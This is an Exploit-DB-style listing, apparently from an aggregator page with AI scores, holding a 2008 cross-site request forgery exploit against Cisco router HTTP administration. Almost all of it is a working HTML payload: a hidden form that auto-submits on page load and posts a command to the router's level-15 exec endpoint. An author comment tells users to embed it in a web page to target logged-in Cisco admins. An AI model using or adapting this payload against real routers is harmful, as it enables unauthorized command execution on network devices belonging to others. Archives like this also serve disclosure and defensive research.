Cisco Router - HTTP Administration Cross-Site Request Forgery / Command Execution (1)

2008-09-1700:00:00

Jeremy Brown

www.exploit-db.com

AI Score

7.4

Confidence

Low

JSON

<!-- Jeremy Brown [[email protected]/http://jbrownsec.blogspot.com]
     Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1
     Replace "10.10.10.1" with the IP address of the target router, embed this in a web
     page and hope for the best. Cisco Admin's + Safari are the best targets ;) -->

<html>
<body>

<body onload="asdf.submit();">



<form name=asdf method="post" action="http://10.10.10.1/level/15/exec/-">

<input type=hidden name=command value="show privilege">



<input type=hidden name=command_url value="/level/15/exec/-">

</body>
</html>

# milw0rm.com [2008-09-17]

AI Score

7.4

Confidence

Low

JSON

Related for EDB-ID:6476